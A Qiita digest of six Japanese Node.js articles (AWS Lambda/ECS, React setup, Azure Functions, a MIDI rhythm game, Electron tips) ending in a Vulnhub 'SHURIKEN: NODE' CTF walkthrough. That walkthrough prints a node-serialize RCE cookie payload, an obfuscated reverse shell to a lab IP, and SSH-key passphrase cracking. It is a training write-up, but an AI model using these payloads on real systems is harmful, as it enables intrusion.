20220127のNode.jsに関する記事は6件です。

lambdaからECS:RunTaskを使用し、Taskを起動する

業務でLambdaの実行時間に引っかかる処理を切り分けるためにLambda->ECSTask実行を行いました。 ServerlessFlameWorkを使用したNode.js/TypeScript環境でECSのTaskを実行する手順です。 Python3&boto3を使用した記事はこちらです。 環境 Node v14.7.0 "typescript": "^4.1.3" "serverless": "^2.23.0", "serverless-esbuild": "^1.17.1", 結論 ecsTask.ts import { ECSClient, RunTaskCommand, RunTaskCommandInput } from '@aws-sdk/client-ecs'; const client = new ECSClient({ region: 'ap-northeast-1', }); const { TASK_DEFINITION, CLUSTER, SUBNETS, SECURITY_GROUP } = process.env; const runTask = async () => { const input: RunTaskCommandInput = { cluster: CLUSTER, taskDefinition: TASK_DEFINITION, launchType: 'FARGATE', networkConfiguration: { awsvpcConfiguration: { subnets: SUBNETS.split(','), securityGroups: SECURITY_GROUP.split(','), assignPublicIp: 'DISABLED', }, }, overrides: { containerOverrides: [ { name: 'app', command: ['npm', 'start'], }, ], }, count: 1, }; const command = new RunTaskCommand(input); await client.send(command); }; export { runTask }; serverless.yml provider: iamManagedPolicies: - arn:aws:iam::aws:policy/AmazonECS_FullAccess 解説 ハマりポイントはIAMRoleとRunTaskCommandInputでした。 IAMRole 下記でいけるかなと思いましたが、AccessDeniedされました。 serverless.yml provider: iam: role: statements: - Effect: Allow Action: - ecs:RunTask Resource: - '*' 期待しているRoleも含まれてしまうので、FullAccess系は使用したくないのですが、一旦これで行います。 必要なActionが分かり次第、更新します。 RunTaskCommandInput 公式を見ると、TaskDefinitionだけ必須っぽいのですが、他のプロパティも必要です。 最初に記載したプロパティを指定して動きました。 ecsTask側のnetworkmodeが"aws-vpc"でなければ、networkConfigurationは必要ではないかもです。 ecsTask.ts const { TASK_DEFINITION, CLUSTER, SUBNETS, SECURITY_GROUP } = process.env; const input: RunTaskCommandInput = { cluster: CLUSTER, taskDefinition: TASK_DEFINITION, launchType: 'FARGATE', networkConfiguration: { awsvpcConfiguration: { subnets: SUBNETS.split(','), securityGroups: SECURITY_GROUP.split(','), assignPublicIp: 'DISABLED', }, }, overrides: { containerOverrides: [ { name: 'app', command: ['npm', 'start'], }, ], }, count: 1, }; const input = { subnets: SUBNETS.split(','), securityGroups: SECURITY_GROUP.split(','), } 上記は環境変数(string)を配列に変更しています。 自分はServerlessFlameWorkでの環境変数の設定にこちらのclassmethodさんの記事を参考にしています。 あとはoverrides.containerOverridesのnameは必須です。 あとがき ここまで読んでいただきありがとうございます。 疑問点等あれば、質問していただければ答えます! 最近見た映画の主題歌がマカロニえんぴつだったからか、またハマり出しました。 好きな音楽を聞きながらコードを書くのが好きな今日この頃です。 ノリノリでコード書いているので周りはちょっと引いているみたいですが。。笑
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Typescript + React 環境構築

create-react-appを使わずにReactの環境構築 まっさらの状態からReactを使ってブラウザで「Hello World」を表示する ※npmではなくyarn なのでyarn initでlockファイルを作成 Webpack yarn add -D webpack webpack-cli webpack-dev-server html-webpack-plugin babel yarn add -D @babel/core @babel/runtime @babel/plugin-transform-runtime @babel/preset-env babel-loader React yarn add react react-dom yarn add -D @babel/preset-react Typescript yarn add -D typescript @babel/preset-typescript @types/react @types/react-dom tsconfig.jsonの作成 yarn run tsc --init { "compilerOptions": { "typeRoots": ["types", "node_modules/@types"],//pngの型がないとエラーが起きるので後付け "jsx": "react", "target": "ES2021", "lib": [ "ES2021", "dom" ] , /* Modules */ "module": "commonjs", "moduleResolution": "node", "resolveJsonModule": true , /* Emit */ "outDir": "./dist", "noEmit": true, "downlevelIteration": true, /* Interop Constraints */ "isolatedModules": true, "esModuleInterop": true, "forceConsistentCasingInFileNames": true , /* Type Checking */ "strict": true, "noImplicitAny": true , "strictNullChecks": true , "strictFunctionTypes": true , "strictBindCallApply": true , "strictPropertyInitialization": true , "noImplicitThis": true , "useUnknownInCatchVariables": true , "alwaysStrict": true , "noUnusedLocals": true , "noUnusedParameters": true , "exactOptionalPropertyTypes": true , "noImplicitReturns": true , "noFallthroughCasesInSwitch": true , "noUncheckedIndexedAccess": true , "noImplicitOverride": true , "noPropertyAccessFromIndexSignature": true , "allowUnusedLabels": true , "allowUnreachableCode": true }, "exclude": ["node_modules"], "include": ["src/**/*"] } png型エラーしないように自作 src > typesフォルダ > index.d.ts declare module "*.png" declare module "*.jpeg" webpack.config.jsの作成 const path = require("path") const HtmlWebpackPlugin = require("html-webpack-plugin") module.exports = { mode: "development", entry: path.resolve(__dirname, "./src/index.tsx"), // 始まるところ output: { path: path.resolve(__dirname, "dist"), // distを本番環境 filename: "index.js",// jsに変換 }, resolve: { modules: [path.resolve(__dirname, "node_modules")], extensions: [".ts", ".tsx", ".js"], }, module: { rules: [ { test: [/\.ts$/, /\.tsx$/], use: [ { loader: "babel-loader", options: { presets: ["@babel/preset-env", "@babel/preset-react", "@babel/preset-typescript"],         plugins: ["@babel/plugin-transform-runtime"],// fetchを使いたかったができなかったため後から追加した }, }, ], }, { test: /\.png/, type: "asset/resource", }, ], }, plugins: [ new HtmlWebpackPlugin({ template: path.resolve(__dirname, "./src/index.html"), }), ], devServer: { port: 8111,// サーバー側とPORTが被らないように指定 static: { directory: path.join(__dirname, "dist"), }, }, } index.htmlの作成 <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>タイトル</title> </head> <body> <div id="root"></div> </body> </html> index.tsxの作成 import React from "react" import ReactDOM from "react-dom" import App from "./app" ReactDOM.render( <React.StrictMode> <App /> </React.StrictMode>, document.getElementById("root"), ) app.tsx import React from "react" const App = () => <h1>Hello World</h1> export default App 最後に package.jsonのscriptsに"start": "npx webpack serve --config webpack.config.js" を書き込む yarn start ブラウザでhttp://localhost:8111にアクセスする Hello Worldが表示される! 参考記事
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Azure Functionsのnodeでローカルで動かしアクセスすると「Microsoft.Azure.WebJobs.Script: Did not find any initialized language workers.」と出て落ちる

現象 dotnetのコマンドラインからプロジェクトを作成し、ローカルで動かしてみるもレスポンスは返ってこず、 [2022-01-27T01:36:18.348Z] Host lock lease acquired by instance ID '0000000000000000000000008075DF07'. Functions: HttpExample: [GET,POST] http://localhost:7071/api/HttpExample For detailed output, run func with --verbose flag. [2022-01-27T01:39:59.235Z] Executing 'Functions.HttpExample' (Reason='This function was programmatically called via the host APIs.', Id=6b911e52-02a6-4493-ba8b-953be86341b9) [2022-01-27T01:40:43.719Z] Final functionDispatcher state: WorkerProcessRestarting. Initialization timed out and host is shutting down [2022-01-27T01:40:43.757Z] Executed 'Functions.HttpExample' (Failed, Id=6b911e52-02a6-4493-ba8b-953be86341b9, Duration=44555ms) [2022-01-27T01:40:43.757Z] System.Private.CoreLib: Exception while executing function: Functions.HttpExample. Microsoft.Azure.WebJobs.Script: Did not find any initialized language workers. と出て、落ちる。 解決 nodeのバージョンは合わせる必要があった。 参照) https://docs.microsoft.com/ja-jp/azure/azure-functions/functions-versions?tabs=in-process%2Cv4&pivots=programming-language-javascript#languages 3.x系では GA (Node.js 14、12、10) なので、nvmでv14を指定。 動くようになった。 (まだまだAzureの情報がネット上に少ない…)
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Node.jsでJavaScript実行環境を作り「音ゲー」を試してみた

Node.jsのなんたるかをよくわからないまま使ってみました。MIDIキーボードで演奏の練習をしたかったので「musicope」アプリを動作させるためです。casioの「chordana play」から始まり、「synthesia」や「linthesia」も試しましたが一長一短だったのでいろいろ比べてみました。 短く言うと Node.jsをインストールしてJavaScriptの動作環境をつくることができました。 「musicope」を動作させることができました。ただし、MIDIの設定がむずかしいので使いこなせそうにありません。 これをlinux mintで動作させました。 「ソフトウェアの管理」から「Nodejs」をインストール 「ソフトウェアの管理」から「Npm」をインストール 以下のサイトの「Code」をクリックしてリポジトリをzipファイルとしてダウンロード zipファイルがdownloadディレクトリに保存されているので(例えば)ホームディレクトリに移動して展開 お好みのmidファイルを./musicope-master/static/songs/ディレクトリに置く ./musicope-master/ディレクトリで以下のコマンドを実行 Terminal $npm install Terminal $sudo npm start 「chromium」を立ち上げて「 http://localhost 」をURL入力窓に入力 プレイするためにお好みのmidiタイトルをクリック はじめに いわゆる「音ゲー」を使ってMIDIキーボード演奏の練習をしようと思いました。しかし、幼児でも演奏できるような「ドレミファソ」だけを使った曲を選ぼうとするとあまり都合の良いものが収録されていません。そこでmidファイルを自作して「音ゲー」に読み込ませると正規の収録曲ではないので挙動がおかしくなります。 これまでCasio「chordana Play(android版)」や「Synthesia(Windows版)」を使ってみました。より使いやすいアプリは ないかと探したところ「Linthesia」と「musicope」を見つけました。しかし、Linthesiaは2022年現在開発休止中でうまくインストールできない、musicopeは「Node.js」が必要。Node.jsってなんだ?となりましたがせっかくなのでNode.jsのなんたるかだけでも勉強して「musicope」を使ってみました。 今回の環境 NEC LaVie LS350/A LK-S250 | Casiotone Keyboard |またはAkai professional MPK mini mk2 Linux mint 20.3 Cinnamon 「chromium」Web Browser Git (optional) Node.jsとはなにか?→ を語れるほど私はくわしくありません。 「Node.jsはサーバサイドで動くJavaScript」1 なのだそうです。これは前提としてWebサーバとクライアントPCの存在を想定していると思われます。インターネットの向こう側にJavaScriptの動作環境があるといろいろと便利なことがあるのですね。 今回はすでにダウンロード済のリポジトリ(≒ソフトウェア)をウェブブラウザ上で実行することになるので「Node.jsはサーバサイドでJavaScriptを実行できるようにしてくれるプラットフォーム」1 ということになりそうです。WebサーバとクライアントPCの存在を端に置いておいたとしても、本来ウェブブラウザ上で実行するJavaScriptをPCで実行するほうが出来ることが多い、ということのようです。 Node.jsとnpmをインストール JavaScriptの実行環境を構築するぞ!ということで以下の作業をします。Linux mintでは端末いらずで簡単にできます。 「ソフトウェアの管理」から「Nodejs」を検索してインストール 「ソフトウェアの管理」から「Npm」を検索してインストール なお「npmはNode.jsのパッケージ管理ツールです。 Pythonにおけるpip、Rubyにおけるgem(RubyGems)、Debianにおけるapt、MacにおけるHomebrew、Rustにおけるcargo。だいたいそんな感じです。」2 GitHubで「musicope」をダウンロード・インストール・実行する クライアントサイドのJavaScript実行環境が整ったので、「musicope」を実行していきます。 以下のサイトの「Code」をクリックしてリポジトリをzipファイルとしてダウンロード zipファイルがdownloadsディレクトリに保存されているのでホームディレクトリ(/home/ユーザ名/)に移動して展開→./musicope-master/ディレクトリと各種ファイルが展開される お好みのmidファイルを./musicope-master/static/songs/ディレクトリに置く ./musicope-master/ディレクトリで以下のコマンドを実行 Terminal $npm install Terminal $sudo npm start 「chromium」を立ち上げて「 http://localhost 」をURL入力窓に入力 プレイするためにお好みのmidiタイトルをクリック と、ここまでは良かったのですがこのさきがとてもむずかしいです。 QjackCtlとQsynthを使ってAKAI MPK mini MK2から音が出ることを確認 「musicope」の演奏に合わせてMIDIキーボード操作が出来ることを確認 私の環境では、「musicope」とMIDIキーボードから同時にMIDI信号が出るとPCから悲鳴のような音がでます。対応の方法がわかりません。 おわりに 使いこなしているわけではありませんがNode.jsを試せたのは良かったです。しかし、musicopeを使いこなせる感じがしませんでした。MIDIにまつわるハードウェア/ソフトウェアはともに設定が大変なので「感覚で操作できる」ものを見つけるのには時間がかかりそうです。 参考サイト Node.jsとは? Linuxの基本的なディレクトリ構成 ※引用について:下記サイトを改変のうえ引用しています。 https://eng-entrance.com/what-is-nodejs ↩ https://qiita.com/non_cal/items/a8fee0b7ad96e67713eb ↩
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Electron Tips ~便利なモジュールや小技~

Electronを使用した開発を最近行ったので、個人的に便利だったモジュールや小技などをまとめていこうと思います。 使用したElectronのバージョンは15系です。 Electronのメインプロセス側の基本コード 基本のメインプロセスの構成はだいたい誰が書いてもこのようになると思いますので、こちらをベースに紹介していこうと思います。 すべてのプラットフォームで動作する結合絶対パスを作成するためにnode.jsの標準モジュールであるpathを使用しています。 main.js //だいたいこんな感じ import path from "path"; let mainWindow; const createMainWindow = () => { mainWindow = new BrowserWindow({ width: 1200, height: 800, webPreferences: { preload: path.resolve(__dirname, 'preload.js'), }, }); mainWindow.loadFile(path.resolve(__dirname, 'index.html')); }; app.on('ready', () => { createMainWindow(); }); アプリの二重起動を防止したい 開発するデスクトップアプリによっては、アプリの複数起動を避けたい場合もあると思います。 requestSingleInstanceLock()というメゾットでアプリケーションのインスタンスのロックが成功したかどうかが分かります。(ドキュメント) ロックに失敗した場合(falseの場合)、すでにこのアプリのインスタンスがロックされているということなので、既にアプリが起動しているかどうかを検知することができます。 main.js const createMainWindow = () => { // 省略 }; const gotTheLock = app.requestSingleInstanceLock(); // false(既に起動)の場合 即終了 if (!gotTheLock) { console.log("二重起動ストップ!! 即停止!!"); app.quit(); } // true(初回起動)の場合 app.on('ready', () => { createMainWindow(); }); 開発時にホットリロードさせたい 開発時にソースコードを変更するたびに、アプリを落として再実行するのはかなり面倒くさいですよね。 electron-reloadというライブラリを使えば簡単にホットリロード設定が可能です。 main.js const electronReload = require('electron-reload') //環境変数で開発環境かどうかをチェック const isDev = process.env.NODE_ENV === 'development'; // macとwinでElectron実行のPATHが違う const execPath = process.platform === 'win32' ? '../node_modules/electron/dist/electron.exe' : '../node_modules/.bin/electron'; if(isDev) { electronReload(__dirname, { electron: path.resolve(__dirname, execPath) }); } OS起動時・ログイン時にアプリも自動起動させたい 常駐するアプリなどを実装する際,OSの起動やログイン時にアプリも一緒に起動させたい場合もあると思います。 そのような場合、auto-launchというモジュールを使うことによって、Windowsやmacの起動時に自動でアプリを起動するように「レジストリ」や「ログイン項目」に登録することができます。 npm install --save auto-launch main.js import AutoLaunch from "auto-launch"; //環境変数で開発環境かどうかをチェック const isDev = process.env.NODE_ENV === 'development'; const launch = new AutoLaunch({ name: "your-app-name" }); // 即実行 (async () => {  // 自動起動アプリとして登録されているかチェック(Promiseで返ってくる) const isEnabled = await launch.isEnabled(); // 本番環境かつ自動起動アプリとして登録されていない場合、レジストリ等に登録 !isDev && !isEnabled && launch.enable(); })(); const createMainWindow = () => { // 略 } // 略 開発環境で auto-launch を登録してしまうと空のelectronアプリが登録されてしまうので、環境変数などで本番環境でのみ動作するように気をつけましょう。 リンクをふんだらブラウザに飛ばしたい Electron上でURLのリンクを踏むと、Electronで別ウィンドウが立ち上がり、そこでページが開かれてしまいます。 Electronがリンクを開くときに発生するイベントには2種類あり、リンクをクリックしたときに発生するwill-navigate、target="_blank"などで新しいウィンドウを開こうとするときに発生するnew-windowの両方の処理にハンドラをかませます。 shell.openExternalはElectronの標準のモジュールで、URLを既定のブラウザで開くことができます。 (特定のページはElectronで開きたい!!みたいな場合はif文やswitch文で条件分岐させるとよいと思います) main.js const createMainWindow = () => { mainWindow = new BrowserWindow({ width: 1200, height: 800, webPreferences: { preload: path.resolve(__dirname, 'preload.js'), }, }); // リンクをふんだらブラウザに飛ばす処理 const urlOpenhandler = (event: Electron.Event, url: string) => { if (url.match(/^http/)) { // Electronデフォルトの処理を停止 event.preventDefault(); // 既定のブラウザでurlを開く shell.openExternal(url); } }; // リンクをクリックしたときの処理 mainWindow.webContents.on('will-navigate', urlOpenhandler); // 新しいウィンドウを開こうとしたときの処理 mainWindow.webContents.on('new-window', urlOpenhandler); // ここまで mainWindow.loadFile(path.resolve(__dirname, 'index.html')); }; タスクトレイ登録 タスクトレイ登録というのは、Windowsでいう以下の画像に表示されているような場所にアイコンを表示させることです。 以下のサンプルコードを見れば使い方はなんとなくわかると思いますが、ドキュメントに色んな設定メニュー・オプションがのっているのでタスクトレイに他の機能を付けた場合は参照してください。 main.js // グローバルスコープで定義 let tray = null; app.on("ready", () => { createMainWindow();    // タスクトレイ用のアイコンのパス定義 const iconPath = path.resolve( __dirname, `iconName.${process.platform === "win32" ? "ico" : "png"}` );    // trayのインスタンス化 tray = new Tray(iconPath); // メニューの設定 tray.setContextMenu( Menu.buildFromTemplate([ { label: "リロード", click: () => { mainWindow.reload(); }, }, { type: "separator", }, { label: "Exit", role: "quit", }, ]) ); }); Windowsでは .ico ・Macでは.png 形式のアイコン画像を登録する必要があります。 trayをグローバルスコープではなくローカルスコープ(readyの中など)で定義してしまうと、本番環境ではガベージコレクションによってタスクトレイから消されてしまうことがあるので注意が必要です。 グローバルショートカット登録 Electoronではアプリにフォーカスが当たっていない状態でもショートカットを登録することができます。 globalShortcut.register(登録したいキー, () => 実行したいコード)というメゾットで簡単に設定することが可能です。ドキュメント 既にグローバルショートカットキーとして使用されているキーを登録はできません。 アプリを閉じる際はグローバルショートカットキーを解除してあげることが良心的だと思います。 以下、AltとSpaceキーでアプリを出したり消したりするサンプルです。 main.js app.on("ready", () => { globalShortcut.register("Alt+Space", () => { // アプリのウィンドウがユーザーに見えているかチェック if (mainWindow.isVisible()) { mainWindow.hide(); } else { mainWindow.show(); mainWindow.focus(); } }); createMainWindow(); }); app.on('will-quit', () => { // ショートカットの登録解除 globalShortcut.unregister('Alt+Space') }) Ctrl+S などをグローバルショートカットキーとして登録してしまうと、すべてのアプリにおいてCtrl+S 保存できないみたいなことが起こりえるのであまり使わないキーで登録しましょう。 フォーカスはずれたときに閉じたい ランチャーアプリのようなアプリを作る際は、アプリからフォーカスが外れるとアプリを閉じたり隠したりしたいという場面が発生すると思います。 browser-window-blurを使えば、アプリのウィンドウからフォーカスが外れたときにイベントを起こすことができます。(ドキュメント) main.js app.on('ready', () => { createMainWindow(); }); app.on("browser-window-blur", () => { mainWindow.hide(); }); 最後に 以上、僕がElectronでの開発時に使用したTipsでした! どなたかの参考になれば幸いです。ありがとうございました
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[Vulnhub]SHURIKEN: NODEの脆弱性診断

はじめに 以下よりダウンロードできます。 免責事項 本記事で紹介する内容は、教育目的または脆弱性について仕組みを理解し周知、啓発を行うためだけに作成しております。 記載されているコードを実行した場合の損害は一切責任を負いません。 また、ハッキング行為をいかなる稼働環境・サービスに対しても行わないでください。成功しなくても試みること自体が違法行為にあたる場合があります。 上記の内容を十分理解された方のみ本記事をお読みください。 また、本記事の記載内容で、法的または倫理的に問題があると思われる箇所、その他お気づきの点などがございましたら、お手数ですがコメント欄までお知らせください。 SHURIKEN: NODEについて 難易度:易/中 前回の侵入事件後、Shuriken Companyはインフラを移転し再構築することを決定した。今回は異なる技術を使用し、安全性を確保することを保証している。果たしてそうだろうか?そうでないことを証明するのは、あなた方次第です。 私の主な焦点は、マシンを典型的なCTFのような謎解きにするのではなく、少なくとももう少し現実的なものにすることです。結局はカスタムマシンであることを忘れないでください。 このマシンはVirtualBoxでテストされました。 では、またルートでお会いしましょう。 ヒント: 足場固めには、ウェブアプリの背後にある技術と、それがどのようにユーザー入力を処理するのかを理解することが重要です。 これはVMwareではなくVirtualBoxを使った方がうまくいきます 脆弱性診断 調査 legionを用いたportスキャン 22,8080portが空いていることが確認できます。 niktoとnmapによる診断 これといった脆弱性が無いように思われます。 フロント画面 ログイン画面 BurpSuiteによる確認 repeaterによる確認 cookiesが追加された後、304のリダイレクトが起きます。 cookiesを調査 cookiesの誤りを修正とうまくいくようです。 googleで検索したところ以下のpdfに行き当たりました。 pdfの内容をつまみぐいをしながら、やってみたいと思います。 以下のコマンドで、疎通を確認できました。 ただ、相手側にncatが無いようなので、reverse_shellは取れませんでした。 {"username":"_$$ND_FUNC$$_function (){require('child_process').exec('ping -c 3 192.168.56.30')}()","isGuest":false,"encoding": "utf-8"} 以下のコードを実行することで、コードを生成し、reverse_shellをとることができました。 {"username":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114, 101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32 ,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101, 115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56, 46,53,54,46,51,48,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79, 85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116, 114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105, 110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83, 116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97, 105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114, 101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116, 41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99, 40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105, 101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59, 10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84, 44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32, 32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110, 47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46, 119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10, 32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46, 115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111, 117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32, 32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110, 116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39, 44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41, 123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34, 68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32, 32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116, 46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40, 101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116, 40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32, 32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41, 59,10))}()","isGuest":false,"encoding": "utf-8"} ユーザの昇格 /var/backups配下にssh-buckup.zipがあります。 /tmpにコピーをして、unnzipを行います。 id_rsaの中身は以下の通りです。 kali上で以下のコマンドを実行し、 秘密鍵のパスフレーズの特定を行います。 python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.txt john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt ssh接続に成功しました。 1つ目のflagを発見しました。 ROOT権限昇格 shuriken-auto.timerとは何か調べてみましょう。 どうやら、shuriken-job.serviceを起動するためのもののようです。 shuriken-job.serviceを以下のように書き換えます。 ROOT権限とflag.txtを獲得することができました。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む